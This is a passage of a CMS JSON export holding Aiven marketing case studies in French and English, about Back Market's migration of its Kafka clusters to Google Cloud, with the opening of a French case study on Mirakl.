center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0ccd5d5bf4d7","_type":"block","children":[{"_key":"bae7e7980fce0","_type":"span","marks":[],"text":"Début 2024, Back Market a décidé de transférer ses opérations de son fournisseur de cloud existant vers Google Cloud. Cela incluait la migration des clusters critiques Aiven for Apache Kafka de Back Market. L'entreprise disposait de plusieurs clusters Apache Kafka® répartis sur quatre régions : un cluster de production actif pour l'Europe, les États-Unis et l'Asie-Pacifique, ainsi que trois clusters pour son environnement de préproduction. Il existait également des clusters plus petits utilisés pour le développement."}],"markDefs":[],"style":"normal"},{"_key":"e1bded267356","_type":"block","children":[{"_key":"b3ceb61697dc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"aeb6f857c64e","_type":"block","children":[{"_key":"ee1687fc7db80","_type":"span","marks":[],"text":"L'entreprise s'appuie sur Apache Kafka pour transférer des données opérationnelles, telles que les informations produits, les prix, la disponibilité, et bien plus encore, vers des solutions d'analyse de données. « Notre cas d'utilisation n'est pas si inhabituel », explique Tomer Levy, Data Engineer chez Back Market. « Nous utilisons Aiven for Apache Kafka pour centraliser les flux de données provenant de plusieurs services, les nettoyer, puis les transmettre à nos analystes et à nos algorithmes d'IA clés. »"}],"markDefs":[],"style":"normal"},{"_key":"9d82c8a96bba","_type":"block","children":[{"_key":"52acebeae3fc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f8f49c6f0092","_type":"block","children":[{"_key":"a34ad2bff5490","_type":"span","marks":[],"text":"Back Market exploite les informations précieuses issues des données et des algorithmes d'IA pour optimiser les performances de sa plateforme. Par exemple, en identifiant les produits les plus et les moins vendus, les habitudes d'achat des clients et les vendeurs les plus performants. Un autre exemple est l'évaluation des produits proposés par différents vendeurs pour choisir l'appareil qui répond le mieux aux besoins uniques d'un acheteur."}],"markDefs":[],"style":"normal"},{"_key":"fe9af32b43d5","_type":"block","children":[{"_key":"0441b6de6b24","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e31f7f330133","_type":"block","children":[{"_key":"903c8004823f0","_type":"span","marks":[],"text":"Ce type d'informations améliore l'expérience utilisateur tout en permettant à l'entreprise d'augmenter ses marges. La migration des clusters Apache Kafka était cruciale car, si un service de l'infrastructure de données ne pouvait pas communiquer avec le cluster Kafka, de nombreuses données précieuses et les services d'amélioration des performances associés pourraient être perdus, ce qui nuirait à l'expérience client."}],"markDefs":[],"style":"normal"},{"_key":"e6079b4962c5","_type":"block","children":[{"_key":"fbb150ba99c70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c96f5424f9d9","_type":"image","asset":{"_ref":"image-e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6-1200x628-png","_type":"reference"}}],"title":"Migration de clusters Apache Kafka d'un cloud à un autre","topOverlap":false,"variant":"oneColumn"},{"_key":"01db8c0088c9","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"60e4bd52abfe","_type":"block","children":[{"_key":"d7c005fce7600","_type":"span","marks":[],"text":"La relation entre Aiven et Back Market avait débuté trois ans plus tôt, lorsque l'entreprise avait restructuré son infrastructure de données, adopté Kafka comme plateforme de streaming de données et choisi Aiven for Apache Kafka comme service entièrement géré."}],"markDefs":[],"style":"normal"},{"_key":"49d4fe1a59f6","_type":"block","children":[{"_key":"b3fe1b35aea8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9552253c5be7","_type":"block","children":[{"_key":"1d14cb15286e0","_type":"span","marks":[],"text":"Une fois que Back Market a décidé de migrer vers Google Cloud, Levy et son équipe se sont tournés vers Aiven pour obtenir un support dans le cadre de la migration à venir. Aiven propose une plateforme disponible sur plusieurs clouds, et tous les services Aiven peuvent être localisés ou relocalisés auprès de différents fournisseurs ou régions cloud. Malgré cela, Levy craignait que la migration des clusters Kafka soit un projet complexe et chronophage."}],"markDefs":[],"style":"normal"},{"_key":"96bc828c8dc7","_type":"block","children":[{"_key":"dd5601a99832","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a6a9a757e8a1","_type":"block","children":[{"_key":"85d2ed4343200","_type":"span","marks":[],"text":"Cependant, après une session de découverte visant à établir les besoins détaillés de la migration, Aiven a démontré à l'équipe de Back Market qu'il s'agirait d'un processus simple."}],"markDefs":[],"style":"normal"},{"_key":"7aeec9d64959","_type":"block","children":[{"_key":"bac5c318bb77","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7b7bbd85b5d1","_type":"block","children":[{"_key":"cad3d15f24440","_type":"span","marks":[],"text":"« Aiven dispose d’un ensemble puissant d’outils pour migrer les services, ce qui a facilité une grande partie des tâches techniques complexes lorsque nous avons changé de fournisseur cloud », explique Levy. « C’est une fonctionnalité phare qui a fait une réelle différence pour le projet et notre niveau de confiance. Vous pouvez facilement revenir en arrière si quelque chose ne fonctionne pas, ce qui est rassurant. »"}],"markDefs":[],"style":"normal"},{"_key":"24b1021c2272","_type":"block","children":[{"_key":"7b396f6f8e3f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5b0aea6e0f9d","_type":"block","children":[{"_key":"1a05d64b91680","_type":"span","marks":[],"text":"Le deuxième aspect du support d’Aiven concernait la mise en réseau, afin de garantir que les clusters et les services puissent toujours communiquer après la migration. « L’aide d’Aiven pour concevoir la topologie réseau et tirer parti du peering Virtual Private Cloud (VPC) a été inestimable », ajoute Levy."}],"markDefs":[],"style":"normal"}],"title":"La plateforme Aiven, ses outils et son support rendent possible la migration vers le cloud autogérée.","topOverlap":false,"variant":"oneColumn"},{"_key":"16ed0d8ea374","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-5b86aa9a51952931cf58f9b5490719adfadac846-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"37b86389dc38","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"44789c77343f","_type":"block","children":[{"_key":"900e01837e540","_type":"span","marks":[],"text":"Au final, il n’a fallu que quelques semaines à Back Market pour planifier et migrer l’ensemble de ses clusters Kafka vers Google Cloud. En utilisant Aiven for Apache Kafka avec Aiven for Apache Kafka Connect, Back Market transfère désormais ses flux de données vers son entrepôt de données principal récemment déployé, Google BigQuery."}],"markDefs":[],"style":"normal"},{"_key":"3c5a3fdeb978","_type":"block","children":[{"_key":"caf0439eb847","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"84ce6baf0ef2","_type":"block","children":[{"_key":"3ae2b9c25ab50","_type":"span","marks":[],"text":"Back Market a réalisé cette migration sans interruption, sans impact sur ses opérations commerciales et avec une utilisation minimale de ses ressources internes. « Aiven a considérablement réduit le temps, les ressources et les risques associés à notre migration vers Google Cloud », déclare Levy."}],"markDefs":[],"style":"normal"},{"_key":"1e42286a080f","_type":"block","children":[{"_key":"d8dec38d73ec","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9c73c9836a9e","_type":"block","children":[{"_key":"b75edd7b36d9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6430e9ab453f","_type":"image","asset":{"_ref":"image-f008f4a634fb72afaff2288059a264e6f50d5446-1200x628-png","_type":"reference"}},{"_key":"83ff7c83f76e","_type":"block","children":[{"_key":"a3bbaf40f43f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"08d1f9b5a766","_type":"block","children":[{"_key":"5b72805cb2250","_type":"span","marks":[],"text":"Levy souligne d'autres avantages de travailler avec Aiven : « La nature intuitive de la console Aiven simplifie considérablement le processus de configuration de Kafka. De plus, l'équipe d'Aiven continue de nous impressionner par son service exceptionnel. Leur expertise approfondie nous a aidés à élaborer une stratégie de migration sur mesure, garantissant une transition fluide et efficace. »"}],"markDefs":[],"style":"normal"},{"_key":"83e64d33d5ba","_type":"block","children":[{"_key":"fd369fbd2e5a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"09ccea1d3b9c","_type":"block","children":[{"_key":"37309ec9dee60","_type":"span","marks":[],"text":"Avec son infrastructure de données fonctionnant parfaitement sur Google Cloud, des pipelines Kafka transmettant les données en temps réel et avec une très faible latence, Back Market bénéficie d'une compréhension en temps réel de son activité commerciale. Cela permet à l'entreprise de prendre rapidement des décisions éclairées concernant l'expérience client, sa contribution à l'économie circulaire et les améliorations de ses résultats financiers."}],"markDefs":[],"style":"normal"},{"_key":"b9766b3aa1d0","_type":"block","children":[{"_key":"875495e86274","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5cd82d0fc1ed","_type":"block","children":[{"_key":"68a929115ecc0","_type":"span","marks":[],"text":"« Nous sommes également confiants quant à notre capacité à évoluer », déclare Levy. « L'entreprise est en pleine croissance et, avec Aiven, nous n'avons pas à nous soucier du fait que notre infrastructure de données puisse nous freiner. Lorsque nous avons besoin de déployer un nouveau cluster Kafka, cela devient beaucoup plus simple et rapide grâce à Aiven. »"}],"markDefs":[],"style":"normal"}],"title":"Une prise de décision optimisée grâce à une migration fluide et sans interruption","topOverlap":false,"variant":"oneColumn"},{"_key":"a0d81898116b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-879a9eea3250612c1e98939895b1a6c3502bfd7c-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"883ddb5e1383","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"7725a064d4e8","_type":"block","children":[{"_key":"3011622341050","_type":"span","marks":[],"text":"La migration vers Google Cloud marque un nouveau chapitre pour Back Market et sa relation avec Aiven. « Il y a de nombreuses opportunités à explorer, et nous espérons mettre en place quelques preuves de concept dans les prochains mois », déclare Levy. « Nous sommes certains que, quelle que soit notre prochaine étape, Aiven nous aidera à tirer le meilleur parti de notre infrastructure de données en temps réel. »"}],"markDefs":[],"style":"normal"}],"title":"Une relation durable explorant de futures opportunités","topOverlap":false,"variant":"oneColumn"}],"heroSubtitle":"La plateforme Aiven permet une migration fluide, sans interruption, entre différents clouds.\n\n\n","heroTitle":"Back Market se Développe à l'International et Migre ses Données vers Aiven for Apache Kafka sur Google Cloud","image":{"_type":"mainImage","asset":{"_ref":"image-787a5c1fe90857b0a521f338602841908181e927-1200x628-png","_type":"reference"}},"publishedAt":"2024-07-03T07:31:03.320Z","seo":{"_type":"metaData","metaDescription":"La plateforme Aiven permet une migration fluide, sans interruption, entre différents clouds.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ddb065fa6250aebc43c6cb314c5d12224a6e0d8b-1200x628-png","_type":"reference"}},"metaTitle":"Back Market se Développe à l'International et Migre ses Données vers Aiven for Apache Kafka sur Google Cloud"},"slug":{"_type":"slug","current":"/case-studies/back-market-uses-aiven-to-enable-seamless-migration-across-clouds"},"title":"Back Market se Développe à l'International et Migre ses Données vers Aiven for Apache Kafka sur Google Cloud"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"e915be44-b540-44fc-a34f-d41bdacb82c8__i18n_fr","_type":"reference"}],"_createdAt":"2024-07-03T07:31:29Z","_id":"e915be44-b540-44fc-a34f-d41bdacb82c8","_rev":"lbpMA3MBWy0eIji4xeZ9PC","_type":"caseStudy","_updatedAt":"2024-12-09T11:46:22Z","company":{"_ref":"791c5a85-1bd2-402f-94e8-23035c3ce76a","_type":"reference"},"content":[{"_key":"a8bd0f1636ec","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"d79cb716d232","_type":"block","children":[{"_key":"fc300861d4c50","_type":"span","marks":[],"text":"Back Market’s platform connects buyers and sellers of used electronic devices that have been refurbished. To strengthen its global expansion and enhance customer service, it made the strategic decision to transfer its operations to Google Cloud. This included migrating its Aiven for Apache Kafka clusters from another cloud provider while ensuring no loss of data. Thanks to the Aiven platform, Back Market was able to conduct the migration with minimal resources, minimal risk and no downtime, laying the foundations for further business growth."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"1634ca3c4484","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"39841969ff15","_type":"block","children":[{"_key":"161a1361ff220","_type":"span","marks":[],"text":"Launched in 2014, Back Market has saved one million tons of CO2 emissions by directing buyers away from new devices and has become the global leader in the refurbishment sector. In its first ten years, the company has reached more than 13 million customers in 18 countries. Last year, Back Market enjoyed 45% growth to a turnover of EUR 320m, and sales continue to soar. Today it is focused on strengthening its position in Europe, expanding its presence in Asia, cementing its place in the US and extending the 200 different categories of refurbished gadgets available on its platform."}],"markDefs":[],"style":"normal"},{"_key":"d28307a88f70","_type":"block","children":[{"_key":"1b12d06f856f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c23c6c3084d8","_type":"block","children":[{"_key":"b7fbb78695a10","_type":"span","marks":[],"text":"While doing this, Back Market must ensure seamless customer service — essential for maintaining trust in the platform and its community of 1,700 refurbishers. The company relies heavily on real-time data and analytics to fine-tune the platform’s performance and create a fantastic experience for buyers and sellers."}],"markDefs":[],"style":"normal"}],"title":"A global leader in refurbished electronic goods","topOverlap":false,"variant":"oneColumn"},{"_key":"f545e23507a7","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"e72b3bf17b5b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"7d657116808d","_type":"block","children":[{"_key":"4c74f5b1b6620","_type":"span","marks":[],"text":"In early 2024, Back Market decided to move its operations away from its existing cloud provider to Google Cloud. This included migrating Back Market’s critically important Aiven for Apache Kafka clusters. Back Market had several Apache Kafka® clusters in four regions: a live production cluster each for Europe, the US and Asia Pacific, and three clusters for its staging environment. There were also some smaller clusters used for development."}],"markDefs":[],"style":"normal"},{"_key":"8f0a561639b8","_type":"block","children":[{"_key":"fe458f6b702e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"63b744e75ce8","_type":"block","children":[{"_key":"8179a84502f40","_type":"span","marks":[],"text":"The company relies on Apache Kafka to flow operational data such as product information, pricing, availability and more to data analytics solutions. “Our use case isn’t that unusual,” says Tomer Levy, Data Engineer, Back Market. “We use Aiven for Apache Kafka to centralize data streaming in from a number of services and to sanitize it, before flowing it to our analysts and to key AI algorithms.”"}],"markDefs":[],"style":"normal"},{"_key":"4a89212f1f70","_type":"block","children":[{"_key":"1a67a98c2fb9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"28d37822735c","_type":"block","children":[{"_key":"0ebd3e7f22840","_type":"span","marks":[],"text":"Back Market uses valuable insights from the data and AI algorithms to optimize the performance of its platform. For example, identifying products most and least sold, customer buying patterns and the most valuable sellers. Another example is evaluating the products offered by different sellers and choosing the device that best meets a buyer’s unique needs."}],"markDefs":[],"style":"normal"},{"_key":"49d106c63708","_type":"block","children":[{"_key":"474d51cd2fad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"210770cb469a","_type":"block","children":[{"_key":"169545640bb50","_type":"span","marks":[],"text":"These kinds of insights enhance the user experience as well as enabling the business to improve its margins. The Apache Kafka migration was critical since, if any service in the data infrastructure couldn't talk to the Kafka cluster, alot of valuable data and the related performance-enhancing services could be lost, decreasing the customer experience."}],"markDefs":[],"style":"normal"},{"_key":"e6079b4962c5","_type":"block","children":[{"_key":"fbb150ba99c70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c96f5424f9d9","_type":"image","asset":{"_ref":"image-ad0497746d807b7f35cad630d025f8edd514b3d0-1200x628-png","_type":"reference"}}],"title":"Migrating Apache Kafka clusters from one cloud to another ","topOverlap":false,"variant":"oneColumn"},{"_key":"01db8c0088c9","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"34fa5a52ea6a","_type":"block","children":[{"_key":"86959b5470870","_type":"span","marks":[],"text":"The relationship between Aiven and Back Market had begun three years earlier when the company revamped its data infrastructure, adopted Kafka as its data streaming platform and chose Aiven for Apache Kafka as a fully managed service."}],"markDefs":[],"style":"normal"},{"_key":"156e61345d27","_type":"block","children":[{"_key":"a6b3c7d9e8f1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"33a91cc2f0f4","_type":"block","children":[{"_key":"54e4fc82d3840","_type":"span","marks":[],"text":"Once Back Market had decided to move to Google Cloud, Levy and the team turned to Aiven for support with the upcoming migration. Aiven provides a platform available across multiple clouds, and all Aiven services can be located and relocated to different cloud vendors or regions. Despite this, Levy was concerned that the migration of the Kafka clusters would be a complex and time-consuming project."}],"markDefs":[],"style":"normal"},{"_key":"9551770e9450","_type":"block","children":[{"_key":"cc279ef4ff4f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"84dbb5bb787f","_type":"block","children":[{"_key":"1948cca843130","_type":"span","marks":[],"text":"However, following a discovery session to establish detailed requirements of the migration, Aiven demonstrated to the Back Market team that it would be a straightforward process."}],"markDefs":[],"style":"normal"},{"_key":"b6d4379a17d9","_type":"block","children":[{"_key":"c00a18b12329","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f15cb51ffa19","_type":"block","children":[{"_key":"a9122ee8a8880","_type":"span","marks":[],"text":"“Aiven has a strong set of tools for migrating services which facilitated most of the heavy technical lifting when we changed cloud provider,” says Levy. “It’s a killer feature which made a notable difference to the project and our levels of confidence. You can easily rollback the changes if something doesn't work, which is reassuring.”"}],"markDefs":[],"style":"normal"},{"_key":"bb4ba57c99b4","_type":"block","children":[{"_key":"c56fb2277c0b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"123c53175786","_type":"block","children":[{"_key":"6ba73114a7350","_type":"span","marks":[],"text":"The second aspect of Aiven’s support was around networking, ensuring the clusters and services could still communicate after migration. “Aiven’s help with designing the network topology and taking advantage of Virtual Private Cloud (VPC) peering was invaluable,” says Levy."}],"markDefs":[],"style":"normal"},{"_key":"8dd3ca615e2d","_type":"block","children":[{"_key":"8211232030a10","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Aiven platform, tools and support make self-managed cloud migration possible","topOverlap":false,"variant":"oneColumn"},{"_key":"16ed0d8ea374","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-5b86aa9a51952931cf58f9b5490719adfadac846-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"37b86389dc38","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"7311709faa4f","_type":"block","children":[{"_key":"8e66ea71f13f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f54a77cf5015","_type":"block","children":[{"_key":"c9c3c1f6f36e","_type":"span","marks":[],"text":"In the end, it took just a few weeks for Back Market to plan and move all of its Kafka clusters to Google Cloud. Using Aiven for Apache Kafka with Aiven for Apache Kafka Connect, Back Market now streams data into its recently deployed, primary data warehouse, Google BigQuery."}],"markDefs":[],"style":"normal"},{"_key":"979a3726edc0","_type":"block","children":[{"_key":"0f73fd7bffa4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a04630ba12f1","_type":"block","children":[{"_key":"444cbb5414af0","_type":"span","marks":[],"text":"Back Market managed the migration with no downtime, no interruption to business operations, and much less drain on internal resources. “Aiven significantly reduced the amount of time, resource and risk associated with our migration to Google Cloud,” says Levy. "}],"markDefs":[],"style":"normal"},{"_key":"9c73c9836a9e","_type":"block","children":[{"_key":"b75edd7b36d9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6430e9ab453f","_type":"image","asset":{"_ref":"image-37a37babfd5c8c692478ed5dbb506c36e7170a12-1200x628-png","_type":"reference"}},{"_key":"83ff7c83f76e","_type":"block","children":[{"_key":"a3bbaf40f43f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2d32ce2d627a","_type":"block","children":[{"_key":"8cfb32961d0d","_type":"span","marks":[],"text":"Levy points to other advantages of working with Aiven: “The intuitive nature of the Aiven console significantly streamlines our Kafka setup process. Furthermore, the Aiven team continues to impress us with exceptional service. Their deep expertise helped us develop a tailored migration strategy, ensuring a smooth and efficient transition.”"}],"markDefs":[],"style":"normal"},{"_key":"4beeeb7a4ab7","_type":"block","children":[{"_key":"05fe1baf75c4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"591dbbeeec25","_type":"block","children":[{"_key":"ea75afe7efd90","_type":"span","marks":[],"text":"With its data infrastructure running seamlessly in Google Cloud, and the Kafka pipelines streaming the data in real time, and with very low latency, Back Market is benefiting from a real-time understanding of commercial activity. This helps the business to make quick, informed decisions around the customer experience, its contribution to the circular economy and improvements to the bottom line."}],"markDefs":[],"style":"normal"},{"_key":"739f9299634a","_type":"block","children":[{"_key":"f20460f65abb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"da0aebbdcd2b","_type":"block","children":[{"_key":"629662dd54fe0","_type":"span","marks":[],"text":"“We are also confident about our ability to scale,” says Levy. “The business is growing and, with Aiven, we don’t have to worry about our data infrastructure holding us back. When we need to pop up a new Kafka cluster, it's much easier and faster to do so with Aiven.”"}],"markDefs":[],"style":"normal"}],"title":"Better decision-making after a smooth, seamless migration","topOverlap":false,"variant":"oneColumn"},{"_key":"a0d81898116b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-879a9eea3250612c1e98939895b1a6c3502bfd7c-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"883ddb5e1383","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"57c1c27923e7","_type":"block","children":[{"_key":"44bcc966b99f0","_type":"span","marks":[],"text":"The migration to Google Cloud represents a new chapter for Back Market and its relationship with Aiven. “There are lots of opportunities to explore, and we’re hoping to set up some proofs of concept in the next few months,” says Levy. “We’re sure that whatever we do next, Aiven will help us get the most out of our real-time data infrastructure.”"}],"markDefs":[],"style":"normal"}],"title":"A long-lasting relationship exploring future opportunities","topOverlap":false,"variant":"oneColumn"}],"heroSubtitle":"Aiven Platform enables seamless migration, with no downtime, across clouds","heroTitle":"Back Market Expands Globally and Migrates Data to Aiven for Apache Kafka on Google Cloud ","image":{"_type":"mainImage","asset":{"_ref":"image-787a5c1fe90857b0a521f338602841908181e927-1200x628-png","_type":"reference"}},"publishedAt":"2024-07-03T07:31:03.320Z","seo":{"_type":"metaData","metaDescription":"Aiven Platform enables seamless migration, with no downtime, across clouds","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ddb065fa6250aebc43c6cb314c5d12224a6e0d8b-1200x628-png","_type":"reference"}},"metaTitle":"Back Market Expands Globally and Migrates Data to Aiven for Apache Kafka on Google Cloud "},"slug":{"_type":"slug","current":"/case-studies/back-market-uses-aiven-to-enable-seamless-migration-across-clouds"},"title":"Back Market Expands Globally and Migrates Data to Aiven for Apache Kafka on Google Cloud"} {"__i18n_base":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-09-19T13:45:02Z","_id":"a79841f2-b791-4192-86c0-a6532b59cb2f__i18n_fr","_rev":"lbpMA3MBWy0eIji4xkAKrG","_type":"caseStudy","_updatedAt":"2024-12-10T15:35:37Z","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"b451c548072c","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"cf8b51f14fe9","_type":"block","children":[{"_key":"66d9c14b208a0","_type":"span","marks":[],"text":"Mirakl, un fournisseur de plateformes de marketplace en ligne en forte croissance, consacrait trop de temps et d’efforts à créer et maintenir un système monolithique pour chaque client. Aiven for Apache Kafka a permis leur transformation vers des services cloud-native."}],"markDefs":[],"style":"normal"}],"title":"Aperçu","variant":"oneColumn"},{"_key":"b58ab5b6f0fd","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0ebf4ba02271","_type":"block","children":[{"_key":"00abd3270d2b0","_type":"span","marks":[],"text":"Dépenses d'exploitation réduites de 70 %"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"05f0cd5f1742","_type":"block","children":[{"_key":"3470177461fe0","_type":"span","marks":[],"text":"Processus de développement agile facilité"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e830442c179c","_type":"block","children":[{"_key":"0eab0750c16c0","_type":"span","marks":[],"text":"Temps de mise sur le marché amélioré"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a8ddf8a2e7f3","_type":"block","children":[{"_key":"fdead46616ca0","_type":"span","marks":[],"text":"Solution managée sans perte de contrôle des données"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Points forts","variant":"oneColumn"},{"_key":"7de1c916c32c","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"4e602563b860","_type":"block","children":[{"_key":"6951b43164ca0","_type":"span","marks":[],"text":"Fondée en 2012, "},{"_key":"f699de72fa68","_type":"span","marks":["e6a2f62306ba"],"text":"Mirakl"},{"_key":"9af344c7ad19","_type":"span","marks":[],"text":" alimente plus de 300 marketplaces en ligne. L’entreprise permet aux marques, détaillants et distributeurs (B2C et B2B) de créer des plateformes vendant à la fois leurs propres produits et des inventaires tiers."}],"markDefs":[{"_key":"e6a2f62306ba","_type":"link","href":"https://www.mirakl.com/"}],"style":"normal"},{"_key":"63fb949943a0","_type":"block","children":[{"_key":"421d0a7f71de0","_type":"span","marks":[],"text":"La solution initiale de Mirakl impliquait de créer un système monolithique indépendant pour chaque client. À mesure que leur activité se développait, cette approche a commencé à demander trop d’efforts. Un système monolithique est, en effet, fragile : si une partie de l’application doit être mise à jour ou subit une panne, toutes les fonctionnalités sont impactées, laissant le client sans service et réduisant les marges du fournisseur. Ces interruptions cumulées représentent une grande perte de 